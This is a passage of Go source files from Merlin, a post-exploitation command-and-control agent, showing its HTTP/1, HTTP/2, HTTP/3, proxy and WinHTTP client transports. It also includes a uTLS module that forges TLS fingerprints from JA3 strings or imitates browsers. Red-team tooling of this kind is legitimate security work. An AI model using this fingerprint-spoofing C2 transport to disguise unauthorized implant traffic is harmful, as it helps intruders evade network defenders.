func NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) {
return nil, fmt.Errorf("http/http1/http1_exclude.go/NewHTTPClient(): HTTP/1 client not compiled into this program")
}
================================================
FILE: http/http2/http2.go
================================================
//go:build http || http2 || !(http3 || mythic || winhttp || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http2 provides an HTTP/2 client
package http2
import (
// Standard
"context"
"crypto/tls"
"fmt"
"net"
"net/http"
"strings"
// X Packages
"golang.org/x/net/http2"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// NewHTTPClient returns an HTTP/2 client
func NewHTTPClient(protocol string, insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "http/http2/http2.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Insecure: %t", protocol, insecure))
// Setup TLS configuration
TLSConfig := &tls.Config{
MinVersion: tls.VersionTLS12,
InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
},
}
var transport http.RoundTripper
switch strings.ToLower(protocol) {
case "h2", "http2":
TLSConfig.NextProtos = []string{"h2"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport = &http2.Transport{
TLSClientConfig: TLSConfig,
}
case "h2c":
transport = &http2.Transport{
AllowHTTP: true,
DialTLSContext: func(ctx context.Context, network, addr string, cfg *tls.Config) (net.Conn, error) {
return net.Dial(network, addr)
},
}
default:
return nil, fmt.Errorf("%s is not a valid client protocol", protocol)
}
return &http.Client{Transport: transport}, nil
}
================================================
FILE: http/http2/http2_exclude.go
================================================
//go:build !http2 && (http3 || mythic || winhttp || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package http2
import (
// Standard
"fmt"
"net/http"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// NewHTTPClient returns an HTTP/1.1 client using the Go standard library
// NewHTTPClient returns an HTTP/2 client
func NewHTTPClient(protocol string, insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "http/http2/http2_exclude.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Insecure: %t", protocol, insecure))
return nil, fmt.Errorf("http/http2/http2_exclude.go/NewHTTPClient(): HTTP/2 client not compiled into this program")
}
================================================
FILE: http/http3/http3.go
================================================
//go:build http || http3 || !(http2 || mythic || winhttp || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http3 provides an HTTP/2 over QUIC, known as HTTP/3, client
package http3
import (
// Standard
"crypto/tls"
"fmt"
"net/http"
"time"
// 3rd Party
"github.com/quic-go/quic-go"
"github.com/quic-go/quic-go/http3"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// NewHTTPClient returns an HTTP/3 client
func NewHTTPClient(insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "http/http3/http3.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Insecure: %t", insecure))
// Setup TLS configuration
TLSConfig := &tls.Config{
MinVersion: tls.VersionTLS12,
InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
},
}
TLSConfig.NextProtos = []string{"h3"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport := &http3.RoundTripper{
QUICConfig: &quic.Config{
// Opted for a long timeout to prevent the client from sending a PING Frame.
// If MaxIdleTimeout is too high, agent will never get an error if the server is offline and will perpetually run without exiting because MaxFailedCheckins is never incremented
MaxIdleTimeout: time.Second * 30,
// KeepAlivePeriod will send an HTTP/2 PING frame to keep the connection alive
// If this isn't used, and the agent's sleep is greater than the MaxIdleTimeout, then the connection will time out
KeepAlivePeriod: time.Second * 30,
// HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server
HandshakeIdleTimeout: time.Second * 30,
},
TLSClientConfig: TLSConfig,
}
return &http.Client{Transport: transport}, nil
}
================================================
FILE: http/http3/http3_exclude.go
================================================
//go:build !http3 && (http2 || mythic || winhttp || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package http3
import (
// Standard
"fmt"
"net/http"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// NewHTTPClient returns an HTTP/3 client
func NewHTTPClient(insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "http/http3/http3_exclude.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Insecure: %t", insecure))
return nil, fmt.Errorf("http/http3/http3_exclude.go/NewHTTPClient(): HTTP/3 client not compiled into this program")
}
================================================
FILE: http/proxy/proxy.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package proxy
import (
// Standard
"fmt"
"net/http"
"net/url"
"os"
"strings"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// GetProxy returns a proxy function for the passed in protocol and proxy URL if any
// Reads the HTTP_PROXY and HTTPS_PROXY environment variables if no proxy URL was passed in
func GetProxy(protocol string, proxyURL string) (func(*http.Request) (*url.URL, error), error) {
cli.Message(cli.DEBUG, "Entering into clients.http.getProxy()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s", protocol, proxyURL))
// The HTTP/2 protocol does not support proxies
if strings.ToLower(protocol) != "http" && strings.ToLower(protocol) != "https" {
if proxyURL != "" {
return nil, fmt.Errorf("clients/http.getProxy(): %s protocol does not support proxies; use http or https protocol", protocol)
}
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.getProxy(): %s protocol does not support proxies, continuing without proxy (if any)", protocol))
return nil, nil
}
var proxy func(*http.Request) (*url.URL, error)
if proxyURL != "" {
rawURL, errProxy := url.Parse(proxyURL)
if errProxy != nil {
return nil, fmt.Errorf("there was an error parsing the proxy string:\n%s", errProxy.Error())
}
cli.Message(cli.DEBUG, fmt.Sprintf("Parsed Proxy URL: %+v", rawURL))
proxy = http.ProxyURL(rawURL)
return proxy, nil
}
// Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables
var p string
switch strings.ToLower(protocol) {
case "http":
p = os.Getenv("HTTP_PROXY")
case "https":
p = os.Getenv("HTTPS_PROXY")
}
if p != "" {
cli.Message(cli.NOTE,
fmt.Sprintf("Using proxy from environment variables for protocol %s: %s", protocol, p))
proxy = http.ProxyFromEnvironment
}
return proxy, nil
}
================================================
FILE: http/utls/utls.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
/*
https://github.com/CUCyber/ja3transport/
MIT License
Copyright (c) 2019 CU Cyber
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package utls
import (
// Standard
"bufio"
"context"
"crypto/sha256"
t "crypto/tls"
"fmt"
"math/rand"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"sync"
"time"
// X-Packages
"golang.org/x/net/http2"
// 3rd Party
tls "github.com/refraction-networking/utls"
)
// tlsExtensions is a TLSExtension objects associated with their extension number
// https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#tls-extensiontype-values-1
var tlsExtensions = map[string]tls.TLSExtension{
"0": &tls.SNIExtension{},
"5": &tls.StatusRequestExtension{},
// These are applied later
// "10": &tls.SupportedCurvesExtension{...}
// "11": &tls.SupportedPointsExtension{...}
"13": &tls.SignatureAlgorithmsExtension{
SupportedSignatureAlgorithms: []tls.SignatureScheme{
tls.ECDSAWithP256AndSHA256,
tls.PSSWithSHA256,
tls.PKCS1WithSHA256,
tls.ECDSAWithP384AndSHA384,
tls.PSSWithSHA384,
tls.PKCS1WithSHA384,
tls.PSSWithSHA512,
tls.PKCS1WithSHA512,
tls.PKCS1WithSHA1,
},
},
"16": &tls.ALPNExtension{
AlpnProtocols: []string{"h2", "http/1.1"},
},
"17": &tls.StatusRequestV2Extension{},
"18": &tls.SCTExtension{},
//"21": &tls.UtlsPaddingExtension{GetPaddingLen: tls.BoringPaddingStyle},
"21": &tls.UtlsPaddingExtension{GetPaddingLen: CustomPaddingStyle},
"22": &tls.GenericExtension{Id: 22},
"23": &tls.ExtendedMasterSecretExtension{},
"24": &tls.FakeTokenBindingExtension{},
"27": &tls.UtlsCompressCertExtension{},
"28": &tls.FakeRecordSizeLimitExtension{},
"34": &tls.FakeDelegatedCredentialsExtension{}, // delegated_credentials
"35": &tls.SessionTicketExtension{},
//"41": &tls.GenericExtension{Id: 41},
"43": &tls.SupportedVersionsExtension{Versions: []uint16{
tls.GREASE_PLACEHOLDER,
tls.VersionTLS13,
tls.VersionTLS12,
tls.VersionTLS11,
tls.VersionTLS10}},
"44": &tls.CookieExtension{},
"45": &tls.PSKKeyExchangeModesExtension{
Modes: []uint8{
tls.PskModeDHE,
}},
"51": &tls.KeyShareExtension{KeyShares: []tls.KeyShare{}},
"13172": &tls.NPNExtension{},
"17513": &tls.ApplicationSettingsExtension{},
"65281": &tls.RenegotiationInfoExtension{
Renegotiation: tls.RenegotiateOnceAsClient,
},
}
// NewTransportFromJA3 creates a new http.Transport object given an utls.Config
func NewTransportFromJA3(ja3 string, InsecureSkipVerify bool, proxy func(*http.Request) (*url.URL, error)) (*Transport, error) {
spec, err := JA3toClientHello(ja3)
if err != nil {
return nil, err
}
tlsConfig := &t.Config{
InsecureSkipVerify: InsecureSkipVerify, // #nosec G402 - intentionally configurable to allow self-signed certificates
}
transport := Transport{
clientHello: tls.HelloCustom,
clientHelloSpec: spec,
tr1: http.Transport{MaxIdleConns: 10, IdleConnTimeout: 1 * time.Nanosecond, TLSClientConfig: tlsConfig},
tr2: http2.Transport{TLSClientConfig: tlsConfig},
proxy: proxy,
}
return &transport, nil
}
// NewTransportFromParrot takes in a string that represents a ClientHelloID to parrot a TLS connection that
// looks like an associated browser and returns a http transport structure
func NewTransportFromParrot(parrot string, InsecureSkipVerify bool, proxy func(*http.Request) (*url.URL, error)) (*Transport, error) {
clientHello, err := ParrotStringToClientHelloID(parrot)
if err != nil {
return nil, err
}
tlsConfig := &t.Config{
InsecureSkipVerify: InsecureSkipVerify, // #nosec G402 - intentionally configurable to allow self-signed certificates
}
transport := Transport{
clientHello: clientHello,
tr1: http.Transport{MaxIdleConns: 10, IdleConnTimeout: 1 * time.Nanosecond, TLSClientConfig: tlsConfig},
tr2: http2.Transport{TLSClientConfig: tlsConfig},
proxy: proxy,
}
return &transport, nil
}
// JA3toClientHello creates a ClientHelloSpec based on a JA3 string
// JA3 string format: SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormat
func JA3toClientHello(ja3 string) (*tls.ClientHelloSpec, error) {
// Remove Unicode dashes
// Unicode Hyphen U+2010
ja3 = strings.ReplaceAll(ja3, "‐", "-")
// Unicode Non-Breaking Hyphen U+2011
ja3 = strings.ReplaceAll(ja3, "‑", "-")
// Unicode En Dash U+2013
ja3 = strings.ReplaceAll(ja3, "–", "-")
// Split the JA3 string into tokens
tokens := strings.Split(ja3, ",")
if len(tokens) != 5 {
return nil, fmt.Errorf("ja3transport: the provided ja3 string did not contain five comma separated fields")
}
// Parse JA3 string fields
version := tokens[0]
ciphers := strings.Split(tokens[1], "-")
extensions := strings.Split(tokens[2], "-")
curves := strings.Split(tokens[3], "-")
pointFormats := strings.Split(tokens[4], "-")
// Parse SSLVersion
vid64, err := strconv.ParseUint(version, 10, 16)
if err != nil {
return nil, fmt.Errorf("ja3transport: unable to convert SSLVersion %s to an integer: %s", version, err)
}
// Add SSLVersion to ClientHelloSpec structure
clientHello := tls.ClientHelloSpec{
TLSVersMin: uint16(vid64),
TLSVersMax: uint16(vid64),
}
tlsExtensions["43"] = &tls.SupportedVersionsExtension{
Versions: []uint16{uint16(vid64)},
}
// Parse CipherSuites
for _, c := range ciphers {
cid, err := strconv.ParseUint(c, 10, 16)
if err != nil {
return nil, fmt.Errorf("ja3transport: unable to convert CipherSuites %s to an integer: %s", c, err)
}
// Add CipherSuites to ClientHelloSpec structure
clientHello.CipherSuites = append(clientHello.CipherSuites, uint16(cid))
}
// Parse EllipticCurve
if len(curves) == 1 && curves[0] == "" {
curves = []string{}
} else if len(curves) > 0 {
var targetCurves []tls.CurveID
for _, c := range curves {
cid, err := strconv.ParseUint(c, 10, 16)
if err != nil {
return nil, err
}
targetCurves = append(targetCurves, tls.CurveID(cid))
}
tlsExtensions["10"] = &tls.SupportedCurvesExtension{Curves: targetCurves}
}
// Parse EllipticCurvePointFormat
if len(pointFormats) == 1 && pointFormats[0] == "" {
pointFormats = []string{}
} else if len(pointFormats) > 0 {
var targetPointFormats []byte
for _, p := range pointFormats {
pid, err := strconv.ParseUint(p, 10, 8)
if err != nil {
return nil, err
}
targetPointFormats = append(targetPointFormats, byte(pid))
}
tlsExtensions["11"] = &tls.SupportedPointsExtension{SupportedPoints: targetPointFormats}
}
// Parse SSLExtension
// Needs to happen AFTER elliptic curve data is added to the global extension map
for _, e := range extensions {
extension, ok := tlsExtensions[e]
if !ok {
return nil, fmt.Errorf("ja3transport: TLS extension %s does not exist in package extension map", e)
}
// Add SSLExtensions to ClientHelloSpec structure
clientHello.Extensions = append(clientHello.Extensions, extension)
}
clientHello.GetSessionID = sha256.Sum256
clientHello.CompressionMethods = []byte{0}
return &clientHello, nil
}
// ParrotStringToClientHelloID reads in a string that represents a uTLS ClientHelloID and returns the real ClientHelloID object
// https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_common.go#L150
func ParrotStringToClientHelloID(parrot string) (clientHello tls.ClientHelloID, err error) {
switch strings.ToLower(parrot) {
// Valid options are tied to uTLS version 1.1.5
case strings.ToLower("HelloGolang"):
clientHello = tls.HelloGolang
case strings.ToLower("HelloCustom"):
clientHello = tls.HelloCustom
case strings.ToLower("HelloRandomized"):
clientHello = tls.HelloRandomized
case strings.ToLower("HelloRandomizedALPN"):
clientHello = tls.HelloRandomizedALPN
case strings.ToLower("HelloRandomizedNoALPN"):
clientHello = tls.HelloRandomizedNoALPN
case strings.ToLower("HelloFirefox_Auto"):
clientHello = tls.HelloFirefox_Auto
case strings.ToLower("HelloFirefox_55"):
clientHello = tls.HelloFirefox_55
case strings.ToLower("HelloFirefox_56"):
clientHello = tls.HelloFirefox_56
case strings.ToLower("HelloFirefox_63"):
clientHello = tls.HelloFirefox_63
case strings.ToLower("HelloFirefox_65"):
clientHello = tls.HelloFirefox_65
case strings.ToLower("HelloFirefox_99"):
clientHello = tls.HelloFirefox_99
case strings.ToLower("HelloFirefox_102"):
clientHello = tls.HelloFirefox_102
case strings.ToLower("HelloFirefox_105"):
clientHello = tls.HelloFirefox_105
case strings.ToLower("HelloChrome_Auto"):
clientHello = tls.HelloChrome_Auto
case strings.ToLower("HelloChrome_58"):
clientHello = tls.HelloChrome_58
case strings.ToLower("HelloChrome_62"):
clientHello = tls.HelloChrome_62
case strings.ToLower("HelloChrome_70"):
clientHello = tls.HelloChrome_70
case strings.ToLower("HelloChrome_72"):
clientHello = tls.HelloChrome_72
case strings.ToLower("HelloChrome_83"):
clientHello = tls.HelloChrome_83
case strings.ToLower("HelloChrome_87"):
clientHello = tls.HelloChrome_87
case strings.ToLower("HelloChrome_96"):
clientHello = tls.HelloChrome_96
case strings.ToLower("HelloChrome_100"):
clientHello = tls.HelloChrome_100
case strings.ToLower("HelloChrome_102"):
clientHello = tls.HelloChrome_102
case strings.ToLower("HelloIOS_Auto"):
clientHello = tls.HelloIOS_Auto
case strings.ToLower("HelloIOS_11_1"):
clientHello = tls.HelloIOS_11_1
case strings.ToLower("HelloIOS_12_1"):
clientHello = tls.HelloIOS_12_1
case strings.ToLower("HelloIOS_13"):
clientHello = tls.HelloIOS_13
case strings.ToLower("HelloIOS_14"):
clientHello = tls.HelloIOS_14
case strings.ToLower("HelloAndroid_11_OkHttp"):
clientHello = tls.HelloAndroid_11_OkHttp
case strings.ToLower("HelloEdge_Auto"):
clientHello = tls.HelloEdge_Auto
case strings.ToLower("HelloEdge_85"):
clientHello = tls.HelloEdge_85
case strings.ToLower("HelloEdge_106"):
clientHello = tls.HelloEdge_106
case strings.ToLower("HelloSafari_Auto"):
clientHello = tls.HelloSafari_Auto
case strings.ToLower("HelloSafari_16_0"):
clientHello = tls.HelloSafari_16_0
case strings.ToLower("Hello360_Auto"):
clientHello = tls.Hello360_Auto
case strings.ToLower("Hello360_7_5"):
clientHello = tls.Hello360_7_5
case strings.ToLower("Hello360_11_0"):
clientHello = tls.Hello360_11_0
case strings.ToLower("HelloQQ_Auto"):
clientHello = tls.HelloQQ_Auto
case strings.ToLower("HelloQQ_11_1"):
clientHello = tls.HelloQQ_11_1
default:
err = fmt.Errorf("ja3transport: unable to convert parrot string %s to a ClientHelloID", parrot)
}
return
}
// dialer is a custom Dialer that facilitates the use of a proxy
type dialer struct {
address string // Address to establish the network connection to
conn net.Conn // conn is TCP connection to the proxy
network string // Network is the network type to use when dialing the proxy, typically "tcp"
}
// DialContext establishes a TCP connection to the provided Address
// This package uses this function to establish a TCP connection to a proxy
// The function must implement the net.Dialer interface
// The input network and address parameters are ignored because they are for the source HTTP request, not the proxy request
func (d *dialer) DialContext(ctx context.Context, network, address string) (conn net.Conn, err error) {
utlsDialer := net.Dialer{
Timeout: 30 * time.Second,
}
conn, err = utlsDialer.DialContext(ctx, d.network, d.address)
if err != nil {
err = fmt.Errorf("clients/utls/utls.go: there was an error dialing '%s:%s' for the request to '%s:%s': %s", d.network, d.address, network, address, err)
return
}
d.conn = conn
return
}
// Copied from @ox1234 via https://github.com/refraction-networking/utls/issues/16
// Transport is custom http.Transport that switches clients between HTTP/1.1 and HTTP2 depending on which protocol
// was negotiated during the TLS handshake.
// It is also used to create a http.Transport structure from a JA3 or parrot string
type Transport struct {
tr1 http.Transport
tr2 http2.Transport
mu sync.RWMutex
clientHello tls.ClientHelloID
clientHelloSpec *tls.ClientHelloSpec
proxy func(*http.Request) (*url.URL, error)
}
// RoundTrip completes the TLS handshake and creates a http client depending on the negotiated http version during the
// TLS handshake (e.g., http/1.1 or h2). After the handshake, the HTTP request is sent to the destination.
func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {
var conn net.Conn
var err error
// If there is no proxy, establish the TCP connection
if t.proxy == nil {
// Identify what port to connect to for manually establishing the TCP connection
address := req.URL.Host
if req.URL.Port() == "" {
if req.URL.Scheme == "http" {
address = fmt.Sprintf("%s:80", req.URL.Host)
} else {
address = fmt.Sprintf("%s:443", req.URL.Host)
}
}
conn, err = net.Dial("tcp", address)
if err != nil {
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): %w", err)
}
} else {
// If there is a proxy, sent the HTTP CONNECT method request before establishing the TLS connection
// Get the proxy URL
var proxyURL *url.URL
proxyURL, err = t.proxy(req)
if err != nil {
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error getting the proxy URL: %s", err)
}
// If the proxy URL is nil, then this request does not use the proxy
// Send CONNECT request to proxy
if proxyURL != nil {
// Set up the custom dialer
u := dialer{
network: "tcp",
address: proxyURL.Host,
}
// Set up the custom transport
trans := &http.Transport{
DisableCompression: true,
DialContext: u.DialContext,
}
// Build the CONNECT request for the proxy
var proxyReq *http.Request
// The protocol should match the protocol the proxy is expecting and host:port should be the destination
connectURL := fmt.Sprintf("%s://%s", proxyURL.Scheme, req.URL.Host)
proxyReq, err = http.NewRequest(http.MethodConnect, connectURL, nil)
if err != nil {
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error creating the CONNECT request: %w", err)
}
proxyReq.Header.Set("User-Agent", req.UserAgent())
// Send the CONNECT request to the proxy
var resp *http.Response
resp, err = trans.RoundTrip(proxyReq)
if err != nil {
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error sending the CONNECT request: %w", err)
}
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error sending the CONNECT request: %s", resp.Status)
}
conn = u.conn
}
}
// Complete the TLS handshake
uConn, err := t.tlsConnect(conn, req)
if err != nil {
return nil, fmt.Errorf("tls connect fail: %w", err)
}
switch uConn.ConnectionState().NegotiatedProtocol {
case "h2":
var h2Conn *http2.ClientConn
h2Conn, err = t.tr2.NewClientConn(uConn)
if err != nil {
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error creating a new HTTP/2 client connection: %w", err)
}
return h2Conn.RoundTrip(req)
case "http/1.1", "":
err = req.Write(uConn)
if err != nil {
return nil, fmt.Errorf("write http1 tls connection fail: %w", err)
}
return http.ReadResponse(bufio.NewReader(uConn), req)
default:
return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): unsuported http version: %s", uConn.ConnectionState().NegotiatedProtocol)
}
}
// tlsConnect gets a uTLS client from the transports JA3 or parrot string and executes just the TLS handshake
func (t *Transport) tlsConnect(conn net.Conn, req *http.Request) (*tls.UConn, error) {
t.mu.RLock()
config := &tls.Config{
ServerName: req.URL.Host,
InsecureSkipVerify: t.tr1.TLSClientConfig.InsecureSkipVerify,
}
tlsConn := tls.UClient(conn, config, t.clientHello)
// Apply the custom TLS configuration to the connection if it exists
if t.clientHelloSpec != nil {
err := tlsConn.ApplyPreset(t.clientHelloSpec)
if err != nil {
t.mu.RUnlock()
return nil, fmt.Errorf("there was an error applying the uTLS ClientHelloSpec: %s", err)
}
}
t.mu.RUnlock()
if err := tlsConn.Handshake(); err != nil {
return nil, fmt.Errorf("tls handshake fail: %w", err)
}
return tlsConn, nil
}
// CustomPaddingStyle is a function to use with TLS extension ID 21, padding.
// In order to ensure this TLS extension is always enabled, the function never returns 0 or false like the
// BoringPaddingStyle function in the uTLS library does. Returns a random number between 0 and 65,535
// Adapted from https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_tls_extensions.go#L680
// https://www.rfc-editor.org/rfc/rfc7685.html
func CustomPaddingStyle(unpaddedLen int) (int, bool) {
pad, _ := tls.BoringPaddingStyle(unpaddedLen)
if pad > 0 {
return pad, true
}
// #nosec G404 -- Random number does not impact security
return rand.Intn(65535), true
}
================================================
FILE: http/winhttp/winhttp_exclude.go
================================================
//go:build !winhttp && (http2 || http3 || mythic || smb || tcp || udp || !windows)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package winhttp
import (
"fmt"
"net/http"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/http/http1"
)
// NewHTTPClient returns an HTTP/1.1 client using the Windows WinHTTP API
// A http.DefaultClient is returned if the platform is not Windows
func NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "http/winhttp/winhttp.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, insecure: %t", protocol, proxyURL, insecure))
cli.Message(cli.WARN, "winhttp was not compiled into this binary, using http.DefaultClient")
return http1.NewHTTPClient(protocol, proxyURL, insecure)
}
================================================
FILE: http/winhttp/winhttp_windows.go
================================================
//go:build http || winhttp || !(http2 || http3 || mythic || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package winhttp provides HTTP clients using the Windows WinHTTP API
package winhttp
import (
// Standard
"crypto/tls"
"fmt"
"net/http"
// 3rd Party
winhttp2 "github.com/Ne0nd0g/winhttp"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// NewHTTPClient returns an HTTP/1.1 client using the Windows WinHTTP API
func NewHTTPClient(protocol, proxyURL string, insecure bool) (*winhttp2.Client, error) {
cli.Message(cli.DEBUG, "http/winhttp/winhttp_windows.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, insecure: %t", protocol, proxyURL, insecure))
client, err := winhttp2.NewHTTPClient()
if err != nil {
return nil, err
}
tlsConfig := tls.Config{
Rand: nil,
Time: nil,
Certificates: nil,
GetCertificate: nil,
GetClientCertificate: nil,
GetConfigForClient: nil,
VerifyPeerCertificate: nil,
VerifyConnection: nil,
RootCAs: nil,
NextProtos: nil,
ServerName: "",
ClientAuth: 0,
ClientCAs: nil,
InsecureSkipVerify: insecure,
CipherSuites: nil,
SessionTicketsDisabled: false,
ClientSessionCache: nil,
UnwrapSession: nil,
WrapSession: nil,
MinVersion: 0,
MaxVersion: 0,
CurvePreferences: nil,
DynamicRecordSizingDisabled: false,
Renegotiation: 0,
KeyLogWriter: nil,
}
transport := http.Transport{
Proxy: nil,
OnProxyConnectResponse: nil,
DialContext: nil,
DialTLSContext: nil,
TLSClientConfig: &tlsConfig,
TLSHandshakeTimeout: 0,
DisableKeepAlives: false,
DisableCompression: false,
MaxIdleConns: 0,
MaxIdleConnsPerHost: 0,
